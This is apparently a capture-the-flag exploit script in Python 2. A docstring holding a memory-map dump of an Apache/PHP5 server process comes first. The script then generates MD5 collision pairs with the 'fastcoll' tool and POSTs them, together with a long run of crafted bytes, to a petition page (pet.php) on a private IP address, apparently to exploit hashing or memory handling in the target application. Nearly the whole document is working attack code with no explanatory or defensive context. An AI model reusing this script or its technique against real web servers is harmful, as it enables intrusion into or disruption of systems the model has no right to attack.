'''
maps
7f3ba3d8f000-7f3ba7d8f000 rw-s 00000000 00:05 667281                     /dev/zero (deleted)
7f3ba7d8f000-7f3ba7db4000 r-xp 00000000 08:01 922718                     /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f3ba7db4000-7f3ba7fb3000 ---p 00025000 08:01 922718                     /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f3ba7fb3000-7f3ba7fb7000 r--p 00024000 08:01 922718                     /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f3ba7fb7000-7f3ba7fb8000 rw-p 00028000 08:01 922718                     /lib/x86_64-linux-gnu/libtinfo.so.5.9
7f3ba7fb8000-7f3ba7feb000 r-xp 00000000 08:01 141727                     /usr/lib/x86_64-linux-gnu/libedit.so.2.0.51
7f3ba7feb000-7f3ba81eb000 ---p 00033000 08:01 141727                     /usr/lib/x86_64-linux-gnu/libedit.so.2.0.51
7f3ba81eb000-7f3ba81ed000 r--p 00033000 08:01 141727                     /usr/lib/x86_64-linux-gnu/libedit.so.2.0.51
7f3ba81ed000-7f3ba81ee000 rw-p 00035000 08:01 141727                     /usr/lib/x86_64-linux-gnu/libedit.so.2.0.51
7f3ba81ee000-7f3ba81f2000 rw-p 00000000 00:00 0 
7f3ba81f2000-7f3ba81f9000 r-xp 00000000 08:01 423290                     /usr/lib/php5/20131226/readline.so
7f3ba81f9000-7f3ba83f8000 ---p 00007000 08:01 423290                     /usr/lib/php5/20131226/readline.so
7f3ba83f8000-7f3ba83f9000 r--p 00006000 08:01 423290                     /usr/lib/php5/20131226/readline.so
7f3ba83f9000-7f3ba83fa000 rw-p 00007000 08:01 423290                     /usr/lib/php5/20131226/readline.so
7f3ba83fa000-7f3ba8404000 r-xp 00000000 08:01 922609                     /lib/x86_64-linux-gnu/libjson-c.so.2.0.0
7f3ba8404000-7f3ba8603000 ---p 0000a000 08:01 922609                     /lib/x86_64-linux-gnu/libjson-c.so.2.0.0
7f3ba8603000-7f3ba8604000 r--p 00009000 08:01 922609                     /lib/x86_64-linux-gnu/libjson-c.so.2.0.0
7f3ba8604000-7f3ba8605000 rw-p 0000a000 08:01 922609                     /lib/x86_64-linux-gnu/libjson-c.so.2.0.0
7f3ba8605000-7f3ba860d000 r-xp 00000000 08:01 423247                     /usr/lib/php5/20131226/json.so
7f3ba860d000-7f3ba880d000 ---p 00008000 08:01 423247                     /usr/lib/php5/20131226/json.so
7f3ba880d000-7f3ba880e000 r--p 00008000 08:01 423247                     /usr/lib/php5/20131226/json.so
7f3ba880e000-7f3ba880f000 rw-p 00009000 08:01 423247                     /usr/lib/php5/20131226/json.so
7f3ba880f000-7f3ba8829000 r-xp 00000000 08:01 423238                     /usr/lib/php5/20131226/pdo.so
7f3ba8829000-7f3ba8a28000 ---p 0001a000 08:01 423238                     /usr/lib/php5/20131226/pdo.so
7f3ba8a28000-7f3ba8a2b000 r--p 00019000 08:01 423238                     /usr/lib/php5/20131226/pdo.so
7f3ba8a2b000-7f3ba8a2c000 rw-p 0001c000 08:01 423238                     /usr/lib/php5/20131226/pdo.so
7f3ba8a2c000-7f3ba8a50000 r-xp 00000000 08:01 423237                     /usr/lib/php5/20131226/opcache.so
7f3ba8a50000-7f3ba8c50000 ---p 00024000 08:01 423237                     /usr/lib/php5/20131226/opcache.so
7f3ba8c50000-7f3ba8c52000 r--p 00024000 08:01 423237                     /usr/lib/php5/20131226/opcache.so
7f3ba8c52000-7f3ba8c53000 rw-p 00026000 08:01 423237                     /usr/lib/php5/20131226/opcache.so
7f3ba8c53000-7f3ba8d5c000 rw-p 00000000 00:00 0 
7f3ba8d5c000-7f3ba8d68000 r-xp 00000000 08:01 922647                     /lib/x86_64-linux-gnu/libnss_files-2.21.so
7f3ba8d68000-7f3ba8f67000 ---p 0000c000 08:01 922647                     /lib/x86_64-linux-gnu/libnss_files-2.21.so
7f3ba8f67000-7f3ba8f68000 r--p 0000b000 08:01 922647                     /lib/x86_64-linux-gnu/libnss_files-2.21.so
7f3ba8f68000-7f3ba8f69000 rw-p 0000c000 08:01 922647                     /lib/x86_64-linux-gnu/libnss_files-2.21.so
7f3ba8f69000-7f3ba8f74000 r-xp 00000000 08:01 922657                     /lib/x86_64-linux-gnu/libnss_nis-2.21.so
7f3ba8f74000-7f3ba9173000 ---p 0000b000 08:01 922657                     /lib/x86_64-linux-gnu/libnss_nis-2.21.so
7f3ba9173000-7f3ba9174000 r--p 0000a000 08:01 922657                     /lib/x86_64-linux-gnu/libnss_nis-2.21.so
7f3ba9174000-7f3ba9175000 rw-p 0000b000 08:01 922657                     /lib/x86_64-linux-gnu/libnss_nis-2.21.so
7f3ba9175000-7f3ba918c000 r-xp 00000000 08:01 922641                     /lib/x86_64-linux-gnu/libnsl-2.21.so
7f3ba918c000-7f3ba938b000 ---p 00017000 08:01 922641                     /lib/x86_64-linux-gnu/libnsl-2.21.so
7f3ba938b000-7f3ba938c000 r--p 00016000 08:01 922641                     /lib/x86_64-linux-gnu/libnsl-2.21.so
7f3ba938c000-7f3ba938d000 rw-p 00017000 08:01 922641                     /lib/x86_64-linux-gnu/libnsl-2.21.so
7f3ba938d000-7f3ba938f000 rw-p 00000000 00:00 0 
7f3ba938f000-7f3ba9397000 r-xp 00000000 08:01 922643                     /lib/x86_64-linux-gnu/libnss_compat-2.21.so
7f3ba9397000-7f3ba9596000 ---p 00008000 08:01 922643                     /lib/x86_64-linux-gnu/libnss_compat-2.21.so
7f3ba9596000-7f3ba9597000 r--p 00007000 08:01 922643                     /lib/x86_64-linux-gnu/libnss_compat-2.21.so
7f3ba9597000-7f3ba9598000 rw-p 00008000 08:01 922643                     /lib/x86_64-linux-gnu/libnss_compat-2.21.so
7f3ba9598000-7f3ba959d000 r-xp 00000000 08:01 170039                     /usr/lib/apache2/modules/mod_status.so
7f3ba959d000-7f3ba979c000 ---p 00005000 08:01 170039                     /usr/lib/apache2/modules/mod_status.so
7f3ba979c000-7f3ba979d000 r--p 00004000 08:01 170039                     /usr/lib/apache2/modules/mod_status.so
7f3ba979d000-7f3ba979e000 rw-p 00005000 08:01 170039                     /usr/lib/apache2/modules/mod_status.so
7f3ba979e000-7f3ba97a1000 r-xp 00000000 08:01 170090                     /usr/lib/apache2/modules/mod_setenvif.so
7f3ba97a1000-7f3ba99a0000 ---p 00003000 08:01 170090                     /usr/lib/apache2/modules/mod_setenvif.so
7f3ba99a0000-7f3ba99a1000 r--p 00002000 08:01 170090                     /usr/lib/apache2/modules/mod_setenvif.so
7f3ba99a1000-7f3ba99a2000 rw-p 00003000 08:01 170090                     /usr/lib/apache2/modules/mod_setenvif.so
7f3ba99a2000-7f3ba99b8000 r-xp 00000000 08:01 918621                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3ba99b8000-7f3ba9bb7000 ---p 00016000 08:01 918621                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3ba9bb7000-7f3ba9bb8000 rw-p 00015000 08:01 918621                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7f3ba9bb8000-7f3ba9ca8000 r-xp 00000000 08:01 142440                     /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.20
7f3ba9ca8000-7f3ba9ea8000 ---p 000f0000 08:01 142440                     /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.20
7f3ba9ea8000-7f3ba9eb0000 r--p 000f0000 08:01 142440                     /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.20
7f3ba9eb0000-7f3ba9eb2000 rw-p 000f8000 08:01 142440                     /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.20
7f3ba9eb2000-7f3ba9ec7000 rw-p 00000000 00:00 0 
7f3ba9ec7000-7f3bab533000 r-xp 00000000 08:01 160806                     /usr/lib/x86_64-linux-gnu/libicudata.so.52.1
7f3bab533000-7f3bab732000 ---p 0166c000 08:01 160806                     /usr/lib/x86_64-linux-gnu/libicudata.so.52.1
7f3bab732000-7f3bab733000 r--p 0166b000 08:01 160806                     /usr/lib/x86_64-linux-gnu/libicudata.so.52.1
7f3bab733000-7f3bab734000 rw-p 0166c000 08:01 160806                     /usr/lib/x86_64-linux-gnu/libicudata.so.52.1
7f3bab734000-7f3bab89c000 r-xp 00000000 08:01 160804                     /usr/lib/x86_64-linux-gnu/libicuuc.so.52.1
7f3bab89c000-7f3baba9b000 ---p 00168000 08:01 160804                     /usr/lib/x86_64-linux-gnu/libicuuc.so.52.1
7f3baba9b000-7f3babaad000 r--p 00167000 08:01 160804                     /usr/lib/x86_64-linux-gnu/libicuuc.so.52.1
7f3babaad000-7f3babaae000 rw-p 00179000 08:01 160804                     /usr/lib/x86_64-linux-gnu/libicuuc.so.52.1
7f3babaae000-7f3babab2000 rw-p 00000000 00:00 0 
7f3babab2000-7f3babc70000 r-xp 00000000 08:01 142654                     /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7f3babc70000-7f3babe70000 ---p 001be000 08:01 142654                     /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7f3babe70000-7f3babe78000 r--p 001be000 08:01 142654                     /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7f3babe78000-7f3babe7a000 rw-p 001c6000 08:01 142654                     /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2
7f3babe7a000-7f3babe7b000 rw-p 00000000 00:00 0 
7f3babe7b000-7f3babf82000 r-xp 00000000 08:01 922620                     /lib/x86_64-linux-gnu/libm-2.21.so
7f3babf82000-7f3bac181000 ---p 00107000 08:01 922620                     /lib/x86_64-linux-gnu/libm-2.21.so
7f3bac181000-7f3bac182000 r--p 00106000 08:01 922620                     /lib/x86_64-linux-gnu/libm-2.21.so
7f3bac182000-7f3bac183000 rw-p 00107000 08:01 922620                     /lib/x86_64-linux-gnu/libm-2.21.so
7f3bac183000-7f3bac192000 r-xp 00000000 08:01 922560                     /lib/x86_64-linux-gnu/libbz2.so.1.0.4
7f3bac192000-7f3bac391000 ---p 0000f000 08:01 922560                     /lib/x86_64-linux-gnu/libbz2.so.1.0.4
7f3bac391000-7f3bac392000 r--p 0000e000 08:01 922560                     /lib/x86_64-linux-gnu/libbz2.so.1.0.4
7f3bac392000-7f3bac393000 rw-p 0000f000 08:01 922560                     /lib/x86_64-linux-gnu/libbz2.so.1.0.4
7f3bac393000-7f3bac539000 r-xp 00000000 08:01 141675                     /usr/lib/x86_64-linux-gnu/libdb-5.3.so
7f3bac539000-7f3bac739000 ---p 001a6000 08:01 141675                     /usr/lib/x86_64-linux-gnu/libdb-5.3.so
7f3bac739000-7f3bac740000 r--p 001a6000 08:01 141675                     /usr/lib/x86_64-linux-gnu/libdb-5.3.so
7f3bac740000-7f3bac741000 rw-p 001ad000 08:01 141675                     /usr/lib/x86_64-linux-gnu/libdb-5.3.so
7f3bac741000-7f3bac796000 r-xp 00000000 08:01 922712                     /lib/x86_64-linux-gnu/libssl.so.1.0.0
7f3bac796000-7f3bac996000 ---p 00055000 08:01 922712                     /lib/x86_64-linux-gnu/libssl.so.1.0.0
7f3bac996000-7f3bac999000 r--p 00055000 08:01 922712                     /lib/x86_64-linux-gnu/libssl.so.1.0.0
7f3bac999000-7f3bac9a0000 rw-p 00058000 08:01 922712                     /lib/x86_64-linux-gnu/libssl.so.1.0.0
7f3bac9a0000-7f3bacb58000 r-xp 00000000 08:01 922573                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7f3bacb58000-7f3bacd57000 ---p 001b8000 08:01 922573                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7f3bacd57000-7f3bacd74000 r--p 001b7000 08:01 922573                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7f3bacd74000-7f3bacd80000 rw-p 001d4000 08:01 922573                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
7f3bacd80000-7f3bacd84000 rw-p 00000000 00:00 0 
7f3bacd84000-7f3bacd9b000 r-xp 00000000 08:01 922700                     /lib/x86_64-linux-gnu/libresolv-2.21.so
7f3bacd9b000-7f3bacf9b000 ---p 00017000 08:01 922700                     /lib/x86_64-linux-gnu/libresolv-2.21.so
7f3bacf9b000-7f3bacf9d000 r--p 00017000 08:01 922700                     /lib/x86_64-linux-gnu/libresolv-2.21.so
7f3bacf9d000-7f3bacf9e000 rw-p 00019000 08:01 922700                     /lib/x86_64-linux-gnu/libresolv-2.21.so
7f3bacf9e000-7f3bacfa0000 rw-p 00000000 00:00 0 
7f3bacfa0000-7f3bad89e000 r-xp 00000000 08:01 170150                     /usr/lib/apache2/modules/libphp5.so
7f3bad89e000-7f3bada9d000 ---p 008fe000 08:01 170150                     /usr/lib/apache2/modules/libphp5.so
7f3bada9d000-7f3badb48000 r--p 008fd000 08:01 170150                     /usr/lib/apache2/modules/libphp5.so
7f3badb48000-7f3badb55000 rw-p 009a8000 08:01 170150                     /usr/lib/apache2/modules/libphp5.so
7f3badb55000-7f3badb73000 rw-p 00000000 00:00 0 
7f3badb73000-7f3badb7a000 r-xp 00000000 08:01 170095                     /usr/lib/apache2/modules/mod_negotiation.so
7f3badb7a000-7f3badd7a000 ---p 00007000 08:01 170095                     /usr/lib/apache2/modules/mod_negotiation.so
7f3badd7a000-7f3badd7b000 r--p 00007000 08:01 170095                     /usr/lib/apache2/modules/mod_negotiation.so
7f3badd7b000-7f3badd7c000 rw-p 00008000 08:01 170095                     /usr/lib/apache2/modules/mod_negotiation.so
7f3badd7c000-7f3badd83000 r-xp 00000000 08:01 170007                     /usr/lib/apache2/modules/mod_mpm_prefork.so
7f3badd83000-7f3badf82000 ---p 00007000 08:01 170007                     /usr/lib/apache2/modules/mod_mpm_prefork.so
7f3badf82000-7f3badf84000 r--p 00006000 08:01 170007                     /usr/lib/apache2/modules/mod_mpm_prefork.so
7f3badf84000-7f3badf85000 rw-p 00008000 08:01 170007                     /usr/lib/apache2/modules/mod_mpm_prefork.so
7f3badf85000-7f3badf89000 r-xp 00000000 08:01 170025                     /usr/lib/apache2/modules/mod_mime.so
7f3badf89000-7f3bae189000 ---p 00004000 08:01 170025                     /usr/lib/apache2/modules/mod_mime.so
7f3bae189000-7f3bae18a000 r--p 00004000 08:01 170025                     /usr/lib/apache2/modules/mod_mime.so
7f3bae18a000-7f3bae18b000 rw-p 00005000 08:01 170025                     /usr/lib/apache2/modules/mod_mime.so
7f3bae18b000-7f3bae18f000 r-xp 00000000 08:01 170075                     /usr/lib/apache2/modules/mod_filter.so
7f3bae18f000-7f3bae38e000 ---p 00004000 08:01 170075                     /usr/lib/apache2/modules/mod_filter.so
7f3bae38e000-7f3bae38f000 r--p 00003000 08:01 170075                     /usr/lib/apache2/modules/mod_filter.so
7f3bae38f000-7f3bae390000 rw-p 00004000 08:01 170075                     /usr/lib/apache2/modules/mod_filter.so
7f3bae390000-7f3bae392000 r-xp 00000000 08:01 170035                     /usr/lib/apache2/modules/mod_env.so
7f3bae392000-7f3bae591000 ---p 00002000 08:01 170035                     /usr/lib/apache2/modules/mod_env.so
7f3bae591000-7f3bae592000 r--p 00001000 08:01 170035                     /usr/lib/apache2/modules/mod_env.so
7f3bae592000-7f3bae593000 rw-p 00002000 08:01 170035                     /usr/lib/apache2/modules/mod_env.so
7f3bae593000-7f3bae595000 r-xp 00000000 08:01 169996                     /usr/lib/apache2/modules/mod_dir.so
7f3bae595000-7f3bae795000 ---p 00002000 08:01 169996                     /usr/lib/apache2/modules/mod_dir.so
7f3bae795000-7f3bae796000 r--p 00002000 08:01 169996                     /usr/lib/apache2/modules/mod_dir.so
7f3bae796000-7f3bae797000 rw-p 00003000 08:01 169996                     /usr/lib/apache2/modules/mod_dir.so
7f3bae797000-7f3bae7b0000 r-xp 00000000 08:01 922735                     /lib/x86_64-linux-gnu/libz.so.1.2.8
7f3bae7b0000-7f3bae9b0000 ---p 00019000 08:01 922735                     /lib/x86_64-linux-gnu/libz.so.1.2.8
7f3bae9b0000-7f3bae9b1000 r--p 00019000 08:01 922735                     /lib/x86_64-linux-gnu/libz.so.1.2.8
7f3bae9b1000-7f3bae9b2000 rw-p 0001a000 08:01 922735                     /lib/x86_64-linux-gnu/libz.so.1.2.8
7f3bae9b2000-7f3bae9ba000 r-xp 00000000 08:01 170080                     /usr/lib/apache2/modules/mod_deflate.so
7f3bae9ba000-7f3baebb9000 ---p 00008000 08:01 170080                     /usr/lib/apache2/modules/mod_deflate.so
7f3baebb9000-7f3baebbb000 r--p 00007000 08:01 170080                     /usr/lib/apache2/modules/mod_deflate.so
7f3baebbb000-7f3baebbc000 rw-p 00009000 08:01 170080                     /usr/lib/apache2/modules/mod_deflate.so
7f3baebbc000-7f3baebc4000 r-xp 00000000 08:01 170097                     /usr/lib/apache2/modules/mod_autoindex.so
7f3baebc4000-7f3baedc4000 ---p 00008000 08:01 170097                     /usr/lib/apache2/modules/mod_autoindex.so
7f3baedc4000-7f3baedc5000 r--p 00008000 08:01 170097                     /usr/lib/apache2/modules/mod_autoindex.so
7f3baedc5000-7f3baedc6000 rw-p 00009000 08:01 170097                     /usr/lib/apache2/modules/mod_autoindex.so
7f3baedc6000-7f3baedc8000 r-xp 00000000 08:01 170050                     /usr/lib/apache2/modules/mod_authz_user.so
7f3baedc8000-7f3baefc7000 ---p 00002000 08:01 170050                     /usr/lib/apache2/modules/mod_authz_user.so
7f3baefc7000-7f3baefc8000 r--p 00001000 08:01 170050                     /usr/lib/apache2/modules/mod_authz_user.so
7f3baefc8000-7f3baefc9000 rw-p 00002000 08:01 170050                     /usr/lib/apache2/modules/mod_authz_user.so
7f3baefc9000-7f3baefcb000 r-xp 00000000 08:01 170061                     /usr/lib/apache2/modules/mod_authz_host.so
7f3baefcb000-7f3baf1ca000 ---p 00002000 08:01 170061                     /usr/lib/apache2/modules/mod_authz_host.so
7f3baf1ca000-7f3baf1cb000 r--p 00001000 08:01 170061                     /usr/lib/apache2/modules/mod_authz_host.so
7f3baf1cb000-7f3baf1cc000 rw-p 00002000 08:01 170061                     /usr/lib/apache2/modules/mod_authz_host.so
7f3baf1cc000-7f3baf1d1000 r-xp 00000000 08:01 170044                     /usr/lib/apache2/modules/mod_authz_core.so
7f3baf1d1000-7f3baf3d0000 ---p 00005000 08:01 170044                     /usr/lib/apache2/modules/mod_authz_core.so
7f3baf3d0000-7f3baf3d2000 r--p 00004000 08:01 170044                     /usr/lib/apache2/modules/mod_authz_core.so
7f3baf3d2000-7f3baf3d3000 rw-p 00006000 08:01 170044                     /usr/lib/apache2/modules/mod_authz_core.so
7f3baf3d3000-7f3baf3d5000 r-xp 00000000 08:01 170096                     /usr/lib/apache2/modules/mod_authn_file.so
7f3baf3d5000-7f3baf5d4000 ---p 00002000 08:01 170096                     /usr/lib/apache2/modules/mod_authn_file.so
7f3baf5d4000-7f3baf5d5000 r--p 00001000 08:01 170096                     /usr/lib/apache2/modules/mod_authn_file.so
7f3baf5d5000-7f3baf5d6000 rw-p 00002000 08:01 170096                     /usr/lib/apache2/modules/mod_authn_file.so
7f3baf5d6000-7f3baf5d8000 r-xp 00000000 08:01 170099                     /usr/lib/apache2/modules/mod_authn_core.so
7f3baf5d8000-7f3baf7d8000 ---p 00002000 08:01 170099                     /usr/lib/apache2/modules/mod_authn_core.so
7f3baf7d8000-7f3baf7d9000 r--p 00002000 08:01 170099                     /usr/lib/apache2/modules/mod_authn_core.so
7f3baf7d9000-7f3baf7da000 rw-p 00003000 08:01 170099                     /usr/lib/apache2/modules/mod_authn_core.so
7f3baf7da000-7f3baf7dd000 r-xp 00000000 08:01 170077                     /usr/lib/apache2/modules/mod_auth_basic.so
7f3baf7dd000-7f3baf9dc000 ---p 00003000 08:01 170077                     /usr/lib/apache2/modules/mod_auth_basic.so
7f3baf9dc000-7f3baf9dd000 r--p 00002000 08:01 170077                     /usr/lib/apache2/modules/mod_auth_basic.so
7f3baf9dd000-7f3baf9de000 rw-p 00003000 08:01 170077                     /usr/lib/apache2/modules/mod_auth_basic.so
7f3baf9de000-7f3baf9e1000 r-xp 00000000 08:01 170029                     /usr/lib/apache2/modules/mod_alias.so
7f3baf9e1000-7f3bafbe0000 ---p 00003000 08:01 170029                     /usr/lib/apache2/modules/mod_alias.so
7f3bafbe0000-7f3bafbe2000 r--p 00002000 08:01 170029                     /usr/lib/apache2/modules/mod_alias.so
7f3bafbe2000-7f3bafbe3000 rw-p 00004000 08:01 170029                     /usr/lib/apache2/modules/mod_alias.so
7f3bafbe3000-7f3bafbe5000 r-xp 00000000 08:01 170004                     /usr/lib/apache2/modules/mod_access_compat.so
7f3bafbe5000-7f3bafde4000 ---p 00002000 08:01 170004                     /usr/lib/apache2/modules/mod_access_compat.so
7f3bafde4000-7f3bafde5000 r--p 00001000 08:01 170004                     /usr/lib/apache2/modules/mod_access_compat.so
7f3bafde5000-7f3bafde6000 rw-p 00002000 08:01 170004                     /usr/lib/apache2/modules/mod_access_compat.so
7f3bafde6000-7f3bafde9000 r-xp 00000000 08:01 922578                     /lib/x86_64-linux-gnu/libdl-2.21.so
7f3bafde9000-7f3baffe8000 ---p 00003000 08:01 922578                     /lib/x86_64-linux-gnu/libdl-2.21.so
7f3baffe8000-7f3baffe9000 r--p 00002000 08:01 922578                     /lib/x86_64-linux-gnu/libdl-2.21.so
7f3baffe9000-7f3baffea000 rw-p 00003000 08:01 922578                     /lib/x86_64-linux-gnu/libdl-2.21.so
7f3baffea000-7f3baffee000 r-xp 00000000 08:01 922730                     /lib/x86_64-linux-gnu/libuuid.so.1.3.0
7f3baffee000-7f3bb01ed000 ---p 00004000 08:01 922730                     /lib/x86_64-linux-gnu/libuuid.so.1.3.0
7f3bb01ed000-7f3bb01ee000 r--p 00003000 08:01 922730                     /lib/x86_64-linux-gnu/libuuid.so.1.3.0
7f3bb01ee000-7f3bb01ef000 rw-p 00004000 08:01 922730                     /lib/x86_64-linux-gnu/libuuid.so.1.3.0
7f3bb01ef000-7f3bb0215000 r-xp 00000000 08:01 936955                     /lib/x86_64-linux-gnu/libexpat.so.1.6.0
7f3bb0215000-7f3bb0414000 ---p 00026000 08:01 936955                     /lib/x86_64-linux-gnu/libexpat.so.1.6.0
7f3bb0414000-7f3bb0417000 r--p 00025000 08:01 936955                     /lib/x86_64-linux-gnu/libexpat.so.1.6.0
7f3bb0417000-7f3bb0418000 rw-p 00028000 08:01 936955                     /lib/x86_64-linux-gnu/libexpat.so.1.6.0
7f3bb0418000-7f3bb0421000 r-xp 00000000 08:01 922571                     /lib/x86_64-linux-gnu/libcrypt-2.21.so
7f3bb0421000-7f3bb0620000 ---p 00009000 08:01 922571                     /lib/x86_64-linux-gnu/libcrypt-2.21.so
7f3bb0620000-7f3bb0621000 r--p 00008000 08:01 922571                     /lib/x86_64-linux-gnu/libcrypt-2.21.so
7f3bb0621000-7f3bb0622000 rw-p 00009000 08:01 922571                     /lib/x86_64-linux-gnu/libcrypt-2.21.so
7f3bb0622000-7f3bb0650000 rw-p 00000000 00:00 0 
7f3bb0650000-7f3bb0810000 r-xp 00000000 08:01 922561                     /lib/x86_64-linux-gnu/libc-2.21.so
7f3bb0810000-7f3bb0a10000 ---p 001c0000 08:01 922561                     /lib/x86_64-linux-gnu/libc-2.21.so
7f3bb0a10000-7f3bb0a14000 r--p 001c0000 08:01 922561                     /lib/x86_64-linux-gnu/libc-2.21.so
7f3bb0a14000-7f3bb0a16000 rw-p 001c4000 08:01 922561                     /lib/x86_64-linux-gnu/libc-2.21.so
7f3bb0a16000-7f3bb0a1a000 rw-p 00000000 00:00 0 
7f3bb0a1a000-7f3bb0a32000 r-xp 00000000 08:01 922694                     /lib/x86_64-linux-gnu/libpthread-2.21.so
7f3bb0a32000-7f3bb0c32000 ---p 00018000 08:01 922694                     /lib/x86_64-linux-gnu/libpthread-2.21.so
7f3bb0c32000-7f3bb0c33000 r--p 00018000 08:01 922694                     /lib/x86_64-linux-gnu/libpthread-2.21.so
7f3bb0c33000-7f3bb0c34000 rw-p 00019000 08:01 922694                     /lib/x86_64-linux-gnu/libpthread-2.21.so
7f3bb0c34000-7f3bb0c38000 rw-p 00000000 00:00 0 
7f3bb0c38000-7f3bb0c68000 r-xp 00000000 08:01 165585                     /usr/lib/x86_64-linux-gnu/libapr-1.so.0.5.1
7f3bb0c68000-7f3bb0e68000 ---p 00030000 08:01 165585                     /usr/lib/x86_64-linux-gnu/libapr-1.so.0.5.1
7f3bb0e68000-7f3bb0e6a000 r--p 00030000 08:01 165585                     /usr/lib/x86_64-linux-gnu/libapr-1.so.0.5.1
7f3bb0e6a000-7f3bb0e6b000 rw-p 00032000 08:01 165585                     /usr/lib/x86_64-linux-gnu/libapr-1.so.0.5.1
7f3bb0e6b000-7f3bb0e91000 r-xp 00000000 08:01 169982                     /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.5.4
7f3bb0e91000-7f3bb1090000 ---p 00026000 08:01 169982                     /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.5.4
7f3bb1090000-7f3bb1091000 r--p 00025000 08:01 169982                     /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.5.4
7f3bb1091000-7f3bb1092000 rw-p 00026000 08:01 169982                     /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0.5.4
7f3bb1092000-7f3bb10fe000 r-xp 00000000 08:01 922593                     /lib/x86_64-linux-gnu/libpcre.so.3.13.1
7f3bb10fe000-7f3bb12fd000 ---p 0006c000 08:01 922593                     /lib/x86_64-linux-gnu/libpcre.so.3.13.1
7f3bb12fd000-7f3bb12fe000 r--p 0006b000 08:01 922593                     /lib/x86_64-linux-gnu/libpcre.so.3.13.1
7f3bb12fe000-7f3bb12ff000 rw-p 0006c000 08:01 922593                     /lib/x86_64-linux-gnu/libpcre.so.3.13.1
7f3bb12ff000-7f3bb1323000 r-xp 00000000 08:01 922533                     /lib/x86_64-linux-gnu/ld-2.21.so
7f3bb1329000-7f3bb132b000 rw-p 00000000 00:00 0 
7f3bb136d000-7f3bb136f000 rw-p 00000000 00:00 0 
7f3bb13ac000-7f3bb13bc000 rw-p 00000000 00:00 0 
7f3bb13bc000-7f3bb13ce000 rw-s 00000000 00:05 667284                     /dev/zero (deleted)
7f3bb13ce000-7f3bb1460000 rw-p 00000000 00:00 0 
7f3bb1460000-7f3bb1507000 rw-p 00000000 00:00 0 
7f3bb1508000-7f3bb1522000 rw-p 00000000 00:00 0 
7f3bb1522000-7f3bb1523000 r--p 00023000 08:01 922533                     /lib/x86_64-linux-gnu/ld-2.21.so
7f3bb1523000-7f3bb1524000 rw-p 00024000 08:01 922533                     /lib/x86_64-linux-gnu/ld-2.21.so
7f3bb1524000-7f3bb1525000 rw-p 00000000 00:00 0 
7f3bb1525000-7f3bb15bd000 r-xp 00000000 08:01 170103                     /usr/sbin/apache2
7f3bb17bc000-7f3bb17c0000 r--p 00097000 08:01 170103                     /usr/sbin/apache2
7f3bb17c0000-7f3bb17c4000 rw-p 0009b000 08:01 170103                     /usr/sbin/apache2
7f3bb17c4000-7f3bb17c7000 rw-p 00000000 00:00 0 
7f3bb23b8000-7f3bb23d9000 rw-p 00000000 00:00 0                          [heap]
7f3bb23d9000-7f3bb262b000 rw-p 00000000 00:00 0                          [heap]
7f3bb262b000-7f3bb2683000 rw-p 00000000 00:00 0                          [heap]
7ffe6f4fe000-7ffe6f51f000 rw-p 00000000 00:00 0                          [stack]
7ffe6f544000-7ffe6f546000 r--p 00000000 00:00 0                          [vvar]
7ffe6f546000-7ffe6f548000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

'''
import subprocess
import hashlib
import requests
import pickle

def fastcoll(prefix):
    # assert len(prefix) == 64
    open('pf', 'w').write(prefix)
    subprocess.check_output(['./fastcoll', 'pf'])
    a = open('md5_data1').read()
    b = open('md5_data2').read()
    # assert hashlib.md5(a).digest() == hashlib.md5(b).digest()
    # assert a != b
    assert '\r' not in a
    assert '\r' not in b
    assert '\n' not in a
    assert '\n' not in b
    assert '\x0b' not in a
    assert '\x0b' not in b
    assert '\x0c' not in a
    assert '\x0c' not in b
    assert '\x85' not in a
    assert '\x85' not in b
    return a, b

if __name__ == '__main__':
    colls = []
    # colls = pickle.load(open('colls'))
    for i in xrange(30):
        print i
        try:
            a, b = fastcoll('\x00' * 64)
            colls.append((a, b))
        except:
            pass
    pickle.dump(colls, open('colls', 'w'))

    payload = []
    for coll in colls:
        a, b = coll
        payload.append(a)
        payload.append(b)

    print len(colls)
    print len(payload)

    url = 'http://192.168.165.176/pet.php'
    data = {'submit':'1', 'namelist':'\r'.join(payload), 'anon':'on', 'petiontext':'\x06\x00\x00\x00' * 1000}
    r = requests.post(url, data=data)
    print r.content
